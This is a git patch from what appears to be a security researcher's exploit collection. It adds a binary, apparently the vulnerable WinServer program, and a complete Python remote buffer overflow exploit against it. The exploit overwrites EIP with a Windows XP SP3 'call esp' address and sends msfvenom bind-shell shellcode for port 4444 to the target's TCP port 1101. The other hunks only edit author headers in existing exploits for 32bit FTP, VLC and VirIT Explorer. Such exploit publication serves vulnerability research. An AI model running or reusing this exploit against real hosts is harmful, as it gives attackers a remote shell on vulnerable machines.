From 67f7fd6077b3f1764a5c445c5bf4041fdd265098 Mon Sep 17 00:00:00 2001
From: VoidSec <voidsec@voidsec.com>
Date: Thu, 11 Apr 2019 19:43:01 +0200
Subject: [PATCH] winserver exploit

---
 32bit_FTP_v.07.08.08.py       |   2 +-
 VLC_v.0.94-PoC.py             |   2 +-
 VirIT_Explorer_v.8.1.68-LPE.c |   2 +-
 WinServer.exe                 | Bin 0 -> 21911 bytes
 WinServer.py                  |  57 ++++++++++++++++++++++++++++++++++
 5 files changed, 60 insertions(+), 3 deletions(-)
 create mode 100644 WinServer.exe
 create mode 100644 WinServer.py

diff --git a/32bit_FTP_v.07.08.08.py b/32bit_FTP_v.07.08.08.py
index 50b3951..ddd06bb 100644
--- a/32bit_FTP_v.07.08.08.py
+++ b/32bit_FTP_v.07.08.08.py
@@ -1,6 +1,6 @@
 """
 Full title:	32bit FTP v.07.08.08 Banner Remote Buffer Overflow
-Exploit Author:	Paolo Stagno - voidsec@voidsec.com
+Exploit Author:	Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
 Vendor Homepage:	https://www.electrasoft.com/
 Version:	32bit FTP v.07.08.08
 Tested on:	Windows XP SP3
diff --git a/VLC_v.0.94-PoC.py b/VLC_v.0.94-PoC.py
index 3cafb6a..a050c26 100644
--- a/VLC_v.0.94-PoC.py
+++ b/VLC_v.0.94-PoC.py
@@ -1,6 +1,6 @@
 """
 Full title:	VideoLAN VLC Media Player 0.9.4 TIVO Local Stack Buffer Overflow PoC
-Exploit Author:	Paolo Stagno - voidsec@voidsec.com (Based on the original work of Guido Landi)
+Exploit Author:	Paolo Stagno - voidsec@voidsec.com - https://voidsec.com (Based on the original work of Guido Landi)
 Vendor Homepage:	https://www.videolan.org
 Version:	VideoLAN VLC Media Player 0.9.4
 Tested on:	Windows 7
diff --git a/VirIT_Explorer_v.8.1.68-LPE.c b/VirIT_Explorer_v.8.1.68-LPE.c
index 341170f..9e1945c 100644
--- a/VirIT_Explorer_v.8.1.68-LPE.c
+++ b/VirIT_Explorer_v.8.1.68-LPE.c
@@ -1,6 +1,6 @@
 /*
 Full title:	VirIT Explorer Lite & Pro v.8.1.68 Local Privilege Escalation (System)/Arbitrary Code Execution
-Exploit Author:	Paolo Stagno - voidsec@voidsec.com
+Exploit Author:	Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
 Vendor Homepage:	http://www.tgsoft.it
 Version:	VirIT Explorer Lite & Pro <=v.8.1.68
 Tested on:	Windows 7
diff --git a/WinServer.exe b/WinServer.exe
new file mode 100644
index 0000000000000000000000000000000000000000..13c169ed87266fec910f9a656b805d9f387f166e
GIT binary patch
literal 21911
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

literal 0
HcmV?d00001

diff --git a/WinServer.py b/WinServer.py
new file mode 100644
index 0000000..8bf3362
--- /dev/null
+++ b/WinServer.py
@@ -0,0 +1,57 @@
+"""
+Full title:	WinServer Remote Buffer Overflow
+Exploit Author:	Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
+Tested on:	Windows XP SP3
+Category:	local exploits
+Platform:	windows
+"""
+#!/usr/bin/python
+
+import sys, socket
+
+if len(sys.argv) < 2:
+    	print "\nUsage: " + sys.argv[0] + " <HOST>\n"
+    	sys.exit()
+
+junk ="A"*28
+eip="\x78\x6a\x83\x7c"#xp sp3 (en) call esp 7C836A78
+nop="\x90"*12
+#msfvenom -p windows/shell_bind_tcp -a x86 --platform Windows LPORT=4444 -f python -b "\x00"
+buf =  ""
+buf += "\xdb\xd8\xd9\x74\x24\xf4\x5b\xbf\x9b\x9d\x8a\x07\x31"
+buf += "\xc9\xb1\x53\x83\xeb\xfc\x31\x7b\x13\x03\xe0\x8e\x68"
+buf += "\xf2\xea\x59\xee\xfd\x12\x9a\x8f\x74\xf7\xab\x8f\xe3"
+buf += "\x7c\x9b\x3f\x67\xd0\x10\xcb\x25\xc0\xa3\xb9\xe1\xe7"
+buf += "\x04\x77\xd4\xc6\x95\x24\x24\x49\x16\x37\x79\xa9\x27"
+buf += "\xf8\x8c\xa8\x60\xe5\x7d\xf8\x39\x61\xd3\xec\x4e\x3f"
+buf += "\xe8\x87\x1d\xd1\x68\x74\xd5\xd0\x59\x2b\x6d\x8b\x79"
+buf += "\xca\xa2\xa7\x33\xd4\xa7\x82\x8a\x6f\x13\x78\x0d\xb9"
+buf += "\x6d\x81\xa2\x84\x41\x70\xba\xc1\x66\x6b\xc9\x3b\x95"
+buf += "\x16\xca\xf8\xe7\xcc\x5f\x1a\x4f\x86\xf8\xc6\x71\x4b"
+buf += "\x9e\x8d\x7e\x20\xd4\xc9\x62\xb7\x39\x62\x9e\x3c\xbc"
+buf += "\xa4\x16\x06\x9b\x60\x72\xdc\x82\x31\xde\xb3\xbb\x21"
+buf += "\x81\x6c\x1e\x2a\x2c\x78\x13\x71\x39\x4d\x1e\x89\xb9"
+buf += "\xd9\x29\xfa\x8b\x46\x82\x94\xa7\x0f\x0c\x63\xc7\x25"
+buf += "\xe8\xfb\x36\xc6\x09\xd2\xfc\x92\x59\x4c\xd4\x9a\x31"
+buf += "\x8c\xd9\x4e\xaf\x84\x7c\x21\xd2\x69\x3e\x91\x52\xc1"
+buf += "\xd7\xfb\x5c\x3e\xc7\x03\xb7\x57\x60\xfe\x38\x46\x2d"
+buf += "\x77\xde\x02\xdd\xd1\x48\xba\x1f\x06\x41\x5d\x5f\x6c"
+buf += "\xf9\xc9\x28\x66\x3e\xf6\xa8\xac\x68\x60\x23\xa3\xac"
+buf += "\x91\x34\xee\x84\xc6\xa3\x64\x45\xa5\x52\x78\x4c\x5d"
+buf += "\xf6\xeb\x0b\x9d\x71\x10\x84\xca\xd6\xe6\xdd\x9e\xca"
+buf += "\x51\x74\xbc\x16\x07\xbf\x04\xcd\xf4\x3e\x85\x80\x41"
+buf += "\x65\x95\x5c\x49\x21\xc1\x30\x1c\xff\xbf\xf6\xf6\xb1"
+buf += "\x69\xa1\xa5\x1b\xfd\x34\x86\x9b\x7b\x39\xc3\x6d\x63"
+buf += "\x88\xba\x2b\x9c\x25\x2b\xbc\xe5\x5b\xcb\x43\x3c\xd8"
+buf += "\xfb\x09\x1c\x49\x94\xd7\xf5\xcb\xf9\xe7\x20\x0f\x04"
+buf += "\x64\xc0\xf0\xf3\x74\xa1\xf5\xb8\x32\x5a\x84\xd1\xd6"
+buf += "\x5c\x3b\xd1\xf2"
+
+payload = junk+eip+nop+buf
+
+s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+s.connect((sys.argv[1], 1101))
+s.send(payload)
+s.recv(1024)
+s.close()
+